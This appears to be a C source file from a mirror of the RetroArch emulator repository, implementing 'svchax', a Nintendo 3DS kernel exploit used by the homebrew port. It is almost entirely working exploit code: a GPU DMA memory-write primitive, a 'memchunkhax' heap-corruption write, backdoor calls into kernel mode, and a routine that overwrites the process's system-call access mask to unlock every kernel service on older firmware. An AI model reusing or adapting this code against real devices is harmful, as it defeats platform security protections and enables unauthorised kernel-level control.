mirror of
https://github.com/libretro/RetroArch.git
synced 2024-12-03 22:03:04 +00:00
146 lines
3.6 KiB
C
146 lines
3.6 KiB
C
|
|
#include <3ds.h>
|
|
#include <string.h>
|
|
|
|
static void svchax_gspwn(u32 dst, u32 src, u32 size, u8* flush_buffer)
|
|
{
|
|
extern Handle gspEvents[GSPGPU_EVENT_MAX];
|
|
|
|
memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
|
|
GSPGPU_InvalidateDataCache((void*)dst, size);
|
|
GSPGPU_FlushDataCache((void*)src, size);
|
|
memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
|
|
|
|
svcClearEvent(gspEvents[GSPGPU_EVENT_PPF]);
|
|
GX_TextureCopy((void*)src, 0, (void*)dst, 0, size, 8);
|
|
svcWaitSynchronization(gspEvents[GSPGPU_EVENT_PPF], U64_MAX);
|
|
|
|
memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
|
|
}
|
|
|
|
/* pseudo-code:
|
|
* if(val2)
|
|
* {
|
|
* *(u32*)val1 = val2;
|
|
* *(u32*)(val2 + 8) = (val1 - 4);
|
|
* }
|
|
* else
|
|
* *(u32*)val1 = 0x0;
|
|
*/
|
|
|
|
// X-X--X-X
|
|
// X-XXXX-X
|
|
|
|
static void memchunkhax_write_pair(u32 val1, u32 val2)
|
|
{
|
|
u32 linear_buffer;
|
|
u8* flush_buffer;
|
|
u32 tmp;
|
|
|
|
u32* next_ptr3;
|
|
u32* prev_ptr3;
|
|
|
|
u32* next_ptr1;
|
|
u32* prev_ptr6;
|
|
|
|
svcControlMemory(&linear_buffer, 0, 0, 0x10000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
|
|
|
|
flush_buffer = (u8*)(linear_buffer + 0x8000);
|
|
|
|
svcControlMemory(&tmp, linear_buffer + 0x1000, 0, 0x1000, MEMOP_FREE, 0);
|
|
svcControlMemory(&tmp, linear_buffer + 0x3000, 0, 0x2000, MEMOP_FREE, 0);
|
|
svcControlMemory(&tmp, linear_buffer + 0x6000, 0, 0x1000, MEMOP_FREE, 0);
|
|
|
|
next_ptr1 = (u32*)(linear_buffer + 0x0004);
|
|
svchax_gspwn(linear_buffer + 0x0000, linear_buffer + 0x1000, 16, flush_buffer);
|
|
|
|
next_ptr3 = (u32*)(linear_buffer + 0x2004);
|
|
prev_ptr3 = (u32*)(linear_buffer + 0x2008);
|
|
svchax_gspwn(linear_buffer + 0x2000, linear_buffer + 0x3000, 16, flush_buffer);
|
|
|
|
prev_ptr6 = (u32*)(linear_buffer + 0x5008);
|
|
svchax_gspwn(linear_buffer + 0x5000, linear_buffer + 0x6000, 16, flush_buffer);
|
|
|
|
*next_ptr1 = *next_ptr3;
|
|
*prev_ptr6 = *prev_ptr3;
|
|
|
|
*prev_ptr3 = val1 - 4;
|
|
*next_ptr3 = val2;
|
|
svchax_gspwn(linear_buffer + 0x3000, linear_buffer + 0x2000, 16, flush_buffer);
|
|
svcControlMemory(&tmp, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
|
|
|
|
svchax_gspwn(linear_buffer + 0x1000, linear_buffer + 0x0000, 16, flush_buffer);
|
|
svchax_gspwn(linear_buffer + 0x6000, linear_buffer + 0x5000, 16, flush_buffer);
|
|
|
|
svcControlMemory(&tmp, linear_buffer + 0x0000, 0, 0x1000, MEMOP_FREE, 0);
|
|
svcControlMemory(&tmp, linear_buffer + 0x2000, 0, 0x4000, MEMOP_FREE, 0);
|
|
svcControlMemory(&tmp, linear_buffer + 0x7000, 0, 0x9000, MEMOP_FREE, 0);
|
|
|
|
}
|
|
|
|
|
|
static inline u32 get_7B_access_ctrl_ptr(void)
|
|
{
|
|
register u32 r0 __asm__("r0");
|
|
__asm__ volatile (
|
|
"sub r0, sp, #8 \n\t"
|
|
"mov r1, #1 \n\t"
|
|
"mov r2, #0 \n\t"
|
|
"svc 0x2A \n\t"
|
|
"orr r0, r1, #0xF00 \n\t"
|
|
"bic r0, r0, #0x0FF \n\t"
|
|
"add r0, r0, #0x044 \n\t"
|
|
:::"r0","r1","r2");
|
|
return r0;
|
|
}
|
|
|
|
static u32 saved_vram_value;
|
|
|
|
static s32 k_restore_vram_value(void)
|
|
{
|
|
__asm__ volatile("cpsid aif \n\t");
|
|
|
|
*(u32*)0x1F000008 = saved_vram_value;
|
|
|
|
return 0;
|
|
}
|
|
|
|
static s32 k_enable_all_svc(void)
|
|
{
|
|
__asm__ volatile("cpsid aif");
|
|
|
|
u32* svc_access_control = *(*(u32***)0xFFFF9000 + 0x22) - 0x6;
|
|
|
|
svc_access_control[0]=0xFFFFFFFE;
|
|
svc_access_control[1]=0xFFFFFFFF;
|
|
svc_access_control[2]=0xFFFFFFFF;
|
|
svc_access_control[3]=0x3FFFFFFF;
|
|
|
|
return 0;
|
|
}
|
|
|
|
u32 __ctr_svchax = 0;
|
|
|
|
void svchax_init(void)
|
|
{
|
|
extern void* __service_ptr;
|
|
|
|
if (__ctr_svchax)
|
|
return;
|
|
|
|
if(__service_ptr)
|
|
{
|
|
if((*(u8*)0x1FF80002 > 0x2F) || (*(u8*)0x1FF80003 != 0x2))
|
|
return;
|
|
|
|
saved_vram_value = *(u32*)0x1F000008;
|
|
memchunkhax_write_pair(get_7B_access_ctrl_ptr(), 0x1F000000);
|
|
svcBackdoor(k_restore_vram_value);
|
|
}
|
|
|
|
svcBackdoor(k_enable_all_svc);
|
|
|
|
__ctr_svchax = 1;
|
|
|
|
}
|